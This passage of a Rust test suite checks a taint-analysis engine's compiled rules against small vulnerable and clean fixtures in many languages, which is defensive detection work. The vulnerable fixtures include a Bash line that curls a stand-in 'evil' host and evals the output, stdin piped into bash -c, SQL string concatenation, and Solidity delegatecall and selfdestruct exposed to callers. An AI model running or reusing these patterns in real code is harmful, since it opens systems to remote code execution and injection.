const msg = { role: "system", content: "fixed instructions" };
return msg;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an object literal with only literal values must not fire, got {:?}",
findings
);
}
#[test]
fn python_bridge_return_value_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-return-value-sink
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
- pattern: requests.get(...)
pattern-sinks:
- patterns:
- pattern: return $SINK
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ReturnValue { .. }]
),
"sink should compile to ReturnValue, got {:?}",
rule.spec.sinks
);
let src = r#"
def fetch():
data = requests.get("http://api")
return data
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for requests.get -> return, got {:?}",
findings
);
}
#[test]
fn python_bridge_return_value_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-return-value-sink-safe
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
- pattern: requests.get(...)
pattern-sinks:
- patterns:
- pattern: return $SINK
- focus-metavariable: $SINK
"#,
);
let src = r#"
def fetch():
data = requests.get("http://api")
return "ok"
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"returning a clean literal must not fire, got {:?}",
findings
);
}
#[test]
fn return_value_shape_rejects_non_bare_return() {
assert!(parse_return_metavar("return $X").is_some());
assert!(parse_return_metavar("return $SINK").is_some());
assert!(parse_return_metavar("return foo($X)").is_none());
assert!(parse_return_metavar("return \"...\".format(...)").is_none());
assert!(parse_return_metavar("return").is_none());
assert!(parse_return_metavar("returnx").is_none());
assert!(parse_return_metavar("$X").is_none());
}
#[test]
fn bash_bridge_curl_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
- pattern: |
$(curl ...)
- pattern: |
`curl ...`
pattern-sinks:
- pattern: eval ...
"#,
);
assert_eq!(rule.lang, Language::Bash);
let src = "out=$(curl http://evil)\neval \"$out\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"curl-eval must fire via the compiled bridge, got {:?}",
findings
);
}
#[test]
fn bash_bridge_curl_eval_safe_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
- pattern: |
$(curl ...)
pattern-sinks:
- pattern: eval ...
"#,
);
let src = "out=\"ls -la\"\neval \"$out\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"eval of a clean literal must not fire, got {:?}",
findings
);
}
#[test]
fn bash_bridge_hooks_jq_to_bash_c_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: hooks-unquoted-variable-bash-taint
mode: taint
languages: [bash]
severity: ERROR
message: "Untrusted stdin flows into a command execution sink."
pattern-sources:
- pattern: $(cat | jq ...)
- pattern: $(cat)
pattern-sinks:
- pattern: eval $...SINK
- pattern: bash -c $...SINK
- pattern: sh -c $...SINK
"#,
);
let src = "data=$(cat | jq -r '.path')\nbash -c \"$data\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"hooks jq -> bash -c must fire via bridge, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_delegatecall_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
- patterns:
- pattern-either:
- pattern: function $ANY(..., address $CONTRACT, ...) public {...}
- pattern: function $ANY(..., address $CONTRACT, ...) external {...}
- focus-metavariable: $CONTRACT
pattern-sinks:
- patterns:
- pattern-either:
- pattern: $CONTRACT.delegatecall(...);
- pattern: $CONTRACT.delegatecall{gas:$GAS}(...);
"#,
);
assert_eq!(rule.lang, Language::Solidity);
let src = r#"
contract C {
function run(address target, bytes data) public {
target.delegatecall(data);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"delegatecall to a param address must fire via bridge, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_delegatecall_to_self_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
- patterns:
- pattern-either:
- pattern: function $ANY(..., address $CONTRACT, ...) public {...}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: $CONTRACT.delegatecall(...);
"#,
);
let src = r#"
contract C {
function run(bytes data) public {
address(this).delegatecall(data);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"delegatecall to address(this) must not fire, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_selfdestruct_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: accessible-selfdestruct
mode: taint
languages: [solidity]
severity: ERROR
message: "Contract can be destructed by anyone."
pattern-sources:
- patterns:
- focus-metavariable:
- $ADDR
- pattern-either:
- pattern: function $FUNC(..., address $ADDR, ...) external { ... }
- pattern: function $FUNC(..., address $ADDR, ...) public { ... }
pattern-sinks:
- pattern-either:
- pattern: selfdestruct(...);
- pattern: suicide(...);
"#,
);
let src = r#"
contract C {
function kill(address payable target) public {
selfdestruct(target);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"selfdestruct of a param must fire via bridge, got {:?}",
findings
);
}
#[test]
fn scala_bridge_tainted_sql_string_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: |
"$SQLSTR" + ...
- metavariable-regex:
metavariable: $SQLSTR
regex: (?i)(select|delete|insert|create|update|alter|drop)\b
"#,
);
assert_eq!(rule.lang, Language::Scala);
let src = r#"
object Ctrl {
def index(name: String) = {
val q = "SELECT * FROM t WHERE n = " + name
db.run(q)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted SQL concat must fire via bridge, got {:?}",
findings
);
}
#[test]
fn scala_bridge_tainted_sql_string_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: |
"$SQLSTR" + ...
"#,
);
let src = r#"
object Ctrl {
def index(name: String) = {
val q = "SELECT * FROM t WHERE n = " + "admin"
db.run(q)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only SQL concat must not fire, got {:?}",
findings
);
}
#[test]
fn scala_bridge_scalajs_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: scalajs-eval
mode: taint
languages: [scala]
severity: WARNING
message: "eval() of user-controlled data."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern: $JS.eval(...)
"#,
);
let src = r#"
object Ctrl {
def index(code: String) = {
js.eval(code)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"scalajs eval of param must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_unescaped_param_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
- by-side-effect: true
patterns:
- pattern: $M(...,String $P,...) { ... }
- focus-metavariable: $P
pattern-sanitizers:
- pattern-either:
- pattern: String.escapeSingleQuotes($P)
- pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
- pattern: Database.query(<... $P ...>)
"#,
);
assert_eq!(rule.lang, Language::Apex);
let src = r#"
public class C {
public List<Account> find(String p) {
return Database.query(p);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted Database.query must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_sanitized_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
- by-side-effect: true
patterns:
- pattern: $M(...,String $P,...) { ... }
- focus-metavariable: $P
pattern-sanitizers:
- pattern-either:
- pattern: String.escapeSingleQuotes($P)
- pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
- pattern: Database.query(<... $P ...>)
"#,
);
let src = r#"
public class C {
public List<Account> find(String p) {
String safe = String.escapeSingleQuotes(p);
return Database.query(safe);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"escaped parameter must not fire, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_url_param_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
- by-side-effect: true
pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
- pattern: String.escapeSingleQuotes(...)
pattern-sinks:
- patterns:
- pattern: Database.query($SINK,...);
- focus-metavariable: $SINK
"#,
);
assert_eq!(rule.lang, Language::Apex);
let src = r#"
public class C {
public List<Account> find() {
String url = ApexPage.getCurrentPage().getParameters().get('q');
return Database.query(url);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted URL-param Database.query must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_url_param_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
- by-side-effect: true
pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
- pattern: String.escapeSingleQuotes(...)
pattern-sinks:
- patterns:
- pattern: Database.query($SINK,...);
- focus-metavariable: $SINK
"#,
);
let src = r#"
public class C {
public List<Account> find() {
return Database.query('SELECT Id FROM Account');
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal query must not fire, got {:?}",
findings
);
}
#[test]
fn swift_bridge_sqlite_injection_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
- swift
message: "Potential client-side SQL injection."
pattern-sources:
- pattern-either:
- pattern: |
"...\($X)..."
- pattern: |
$SQL = "..." + $X
- pattern: |
$SQL = $X + "..."
pattern-sinks:
- patterns:
- pattern-either:
- pattern: sqlite3_exec($DB, $SQL, ...)
- pattern: sqlite3_prepare_v2($DB, $SQL, ...)
- focus-metavariable:
- $SQL
"#,
);
assert_eq!(rule.lang, Language::Swift);
let src = r#"
func handler(input: String) {
let q = "SELECT * FROM t WHERE n = \(input)"
sqlite3_exec(db, q, nil, nil, nil)
}
"#;
let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"interpolated SQL into sqlite3_exec must fire via bridge, got {:?}",
findings
);
}
#[test]
fn swift_bridge_sqlite_injection_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
- swift
message: "Potential client-side SQL injection."
pattern-sources:
- pattern-either:
- pattern: |
"...\($X)..."
- pattern: |
$SQL = "..." + $X
- pattern: |
$SQL = $X + "..."
pattern-sinks:
- patterns:
- pattern-either:
- pattern: sqlite3_exec($DB, $SQL, ...)
- pattern: sqlite3_prepare_v2($DB, $SQL, ...)
- focus-metavariable:
- $SQL
"#,
);
let src = r#"
func handler() {
let q = "SELECT * FROM t"
sqlite3_exec(db, q, nil, nil, nil)
}
"#;
let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal SQL must not fire, got {:?}",
findings
);
}
#[test]
fn js_param_source_focus_inside_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-child-process-param
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
- patterns:
- pattern-inside: |
function ... (...,$FUNC,...) {
...
}
- focus-metavariable: $FUNC
pattern-sinks:
- pattern: exec($CMD,...)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
function run(name, cmd) {
exec(cmd);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a function parameter reaching exec() must fire, got {:?}",
findings
);
}
#[test]
fn js_param_source_non_param_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-child-process-param-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
- patterns:
- pattern-inside: |
function ... (...,$FUNC,...) {
...
}
- focus-metavariable: $FUNC
pattern-sinks:
- pattern: exec($CMD,...)
"#,
);
let src = r#"
function run() {
const cmd = "ls -la";
exec(cmd);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a non-parameter constant must not fire, got {:?}",
findings
);
}
#[test]
fn python_param_source_bare_pattern_inside_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-lambda-param
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
- patterns:
- pattern: $EVENT
- pattern-inside: |
def $HANDLER($EVENT, $CONTEXT):
...
pattern-sinks:
- pattern: subprocess.call($X)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
def handler(event, context):
cmd = event
subprocess.call(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"handler param reaching subprocess.call must fire, got {:?}",
findings
);
}
#[test]
fn python_param_source_constant_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-lambda-param-safe
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
- patterns:
- pattern: $EVENT
- pattern-inside: |
def $HANDLER($EVENT, $CONTEXT):
...
pattern-sinks:
- pattern: subprocess.call($X)
"#,
);
let src = r#"
def handler(event, context):
cmd = "echo hello"
subprocess.call(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a hardcoded constant must not fire, got {:?}",
findings
);
}
#[test]
fn non_param_focus_block_is_not_treated_as_param_source() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: not-a-param-source
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern: get_input($X)
- focus-metavariable: $X
pattern-sinks:
- pattern: eval($Y)
"#,
)
.unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert!(
!r.spec.sources.iter().any(|m| matches!(
m,
GenericMatcher::ParamName { names, .. }
if names.contains(&crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string())
)),
"a focus on a call metavar must not become an any-parameter source: {:?}",
r.spec.sources
);
}
other => panic!(
"expected compiled rule, got skip/nottaint: {:?}",
matches!(other, TaintRuleParse::Skip(_))
),
}
}
const PYRAMID_SRC: &str = r#"
@view_config
def home_view(req):
name = req.GET['name']
return Response(name)
def plain_helper(req):
name = req.GET['name']
return Response(name)
"#;
#[test]
fn source_side_pattern_inside_probe_compiles_field_source_and_captures_inside() {
let rule = compiled(
r#"
id: pyramid-like-probe
mode: taint
languages: [python]
severity: ERROR
message: "request attribute reaches Response"
pattern-sources:
- patterns:
- pattern: $REQ.GET
- pattern-inside: |
@view_config
def $V(...):
...
pattern-sinks:
- pattern: Response($X)
"#,
);
assert!(
rule.spec
.sources
.iter()
.any(|m| matches!(m, GenericMatcher::FieldName { field, .. } if field == "GET")),
"expected a FieldName {{ GET }} source, got {:?}",
rule.spec.sources
);
assert_eq!(
rule.insides.source.len(),
1,
"the source-side pattern-inside must be captured into insides.source"
);
}
#[test]
fn source_side_pattern_inside_fires_inside_view_only() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: pyramid-like
mode: taint
languages: [python]
severity: ERROR
message: "request attribute reaches Response"
pattern-sources:
- patterns:
- pattern: $REQ.GET
- pattern-inside: |
@view_config
def $V(...):
...
pattern-sinks:
- pattern: Response($X)
"#,
);
let tree = parse_file(PYRAMID_SRC, Language::Python).expect("python fixture should parse");
let findings = rule.check(PYRAMID_SRC, &tree);
assert_eq!(
findings.len(),
1,
"only the source inside the @view_config view may fire, got lines {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
assert_eq!(
findings[0].line, 5,
"the surviving finding must be inside the @view_config view (line 5), got {}",
findings[0].line
);
}
#[test]
fn source_without_pattern_inside_fires_in_both_functions() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: pyramid-like-nogate
mode: taint
languages: [python]
severity: ERROR
message: "request attribute reaches Response"
pattern-sources:
- pattern: $REQ.GET
pattern-sinks:
- pattern: Response($X)
"#,
);
let tree = parse_file(PYRAMID_SRC, Language::Python).expect("python fixture should parse");
let findings = rule.check(PYRAMID_SRC, &tree);
assert_eq!(
findings.len(),
2,
"without the source pattern-inside, both req.GET reads fire, got lines {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
}
#[test]
fn java_param_source_focus_typed_signature_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-lambda-param
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
- patterns:
- focus-metavariable: $EVENT
- pattern: |
$RT $HANDLER($TYPE $EVENT, Context $CTX) {
...
}
pattern-sinks:
- pattern: stmt.executeQuery($Q)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
class H {
String handle(String event, Context ctx) {
String q = event;
return stmt.executeQuery(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"handler param reaching executeQuery must fire, got {:?}",
findings
);
}
#[test]
fn java_param_source_literal_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-lambda-param-safe
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
- patterns:
- focus-metavariable: $EVENT
- pattern: |
$RT $HANDLER($TYPE $EVENT, Context $CTX) {
...
}
pattern-sinks:
- pattern: stmt.executeQuery($Q)
"#,
);
let src = r#"
class H {
String handle(String event, Context ctx) {
String q = "SELECT 1";
return stmt.executeQuery(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a hardcoded SQL literal must not fire, got {:?}",
findings
);
}
#[test]
fn php_focus_call_sink_concrete_callee_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-assert-use
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- patterns:
- pattern: assert($SINK, ...)
- pattern: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::Call { canonical, .. }] if canonical == "assert"
),
"expected a concrete `assert` Call sink, got {:?}",
rule.spec.sinks
);
let src = r#"<?php
function run() {
$x = $_GET['code'];
assert($x);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted $_GET value reaching assert() must fire, got {:?}",
findings
);
}
#[test]
fn php_focus_call_sink_untainted_arg_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-assert-use-safe
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- patterns:
- pattern: assert($SINK, ...)
- pattern: $SINK
"#,
);
let src = r#"<?php
function run() {
$x = "1 === 1";
assert($x);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an untainted literal in assert() must not fire, got {:?}",
findings
);
}
#[test]
fn js_focus_call_sink_method_name_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-mysql-sqli
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $QUERY
- pattern-either:
- pattern-inside: $POOL.query($QUERY, ...)
- pattern-inside: $POOL.execute($QUERY, ...)
"#,
);
let mut methods: Vec<&str> = rule
.spec
.sinks
.iter()
.filter_map(|m| match m {
GenericMatcher::MethodName { method, .. } => Some(method.as_str()),
_ => None,
})
.collect();
methods.sort_unstable();
assert_eq!(
methods,
["execute", "query"],
"expected query/execute MethodName sinks, got {:?}",
rule.spec.sinks
);
let src = r#"
function run(req, pool) {
const q = req.body;
pool.query(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted req.body reaching pool.query() must fire, got {:?}",
findings
);
}
#[test]
fn js_focus_call_sink_other_method_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-mysql-sqli-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $QUERY
- pattern-either:
- pattern-inside: $POOL.query($QUERY, ...)
- pattern-inside: $POOL.execute($QUERY, ...)
"#,
);
let src = r#"
function run(req, pool) {
const q = req.body;
pool.format(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a tainted value reaching an unlisted method (.format) must not fire, got {:?}",
findings
);
}
#[test]
fn unpinned_metavar_callee_sink_is_not_compiled() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: js-unpinned-callee
mode: taint
languages: [javascript]
severity: ERROR
message: "x"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $SINK
- pattern: $F($SINK, ...)
"#,
)
.unwrap();
assert!(
matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
"an unpinned metavariable callee must not compile to a sink"
);
}
#[test]
fn callregex_sink_fires_on_matching_callee_and_not_on_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-password-sink
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a *password* function"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...)
- metavariable-regex:
metavariable: $FUNCTION
regex: (?i)(.*password.*)
"#,
);
let fire_src = r#"
def handler():
data = input()
hash_password(data)
"#;
let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted value reaching hash_password() (callee matches the regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler():
data = input()
log_event(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"a tainted value reaching a callee NOT matching the regex must not fire, got {:?}",
findings
);
}
#[test]
fn methodnameregex_sink_fires_on_matching_method_and_not_on_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-csv-writer
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a csv writer row method"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $WRITER.$WRITE(...)
- metavariable-regex:
metavariable: $WRITE
regex: ^(writerow|writerows|writeheader)$
"#,
);
let fire_src = r#"
def handler(w):
data = input()
w.writerow(data)
"#;
let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value into w.writerow() (method matches regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler(w):
data = input()
w.flush(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"tainted value into a method NOT matching the regex must not fire, got {:?}",
findings
);
}
#[test]
fn callregex_sink_matches_dotted_alternative_callee_and_not_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-dangerous-exec-min
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches a command-execution function"
pattern-sources:
- pattern: gets
pattern-sinks:
- patterns:
- pattern: $EXEC(...)
- metavariable-regex:
metavariable: $EXEC
regex: ^(system|exec|IO.popen)$
"#,
);
let fire_src = r#"
def handler
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(fire_src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value into system() (callee matches regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler
cmd = gets
puts(cmd)
end
"#;
let tree = parse_file(miss_src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"tainted value into puts() (callee NOT matching the regex) must not fire, got {:?}",
findings
);
}
#[test]
fn bare_metavar_callee_sink_without_pin_still_compiles_to_nothing() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: py-unpinned-callee-sink
mode: taint
languages: [python]
severity: ERROR
message: "x"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...)
"#,
)
.unwrap();
assert!(
matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
"a bare-metavar callee sink with no metavariable-regex pin must not compile"
);
}
#[test]
fn receiver_regex_sink_fires_on_matching_receiver_and_not_on_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-db-execute
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a db/conn execute()"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $CONN.execute(...)
- metavariable-regex:
metavariable: $CONN
regex: ^(db|conn)$
"#,
);
let fire_src = r#"
def handler():
data = input()
db.execute(data)
"#;
let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value into db.execute() (receiver matches the regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler():
data = input()
session.execute(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"tainted value into a receiver NOT matching the regex must not fire, got {:?}",
findings
);
}
#[test]
fn receiver_method_sink_without_pin_overfires_on_any_receiver() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-any-execute
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches any .execute()"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- pattern: $CONN.execute(...)
"#,
);
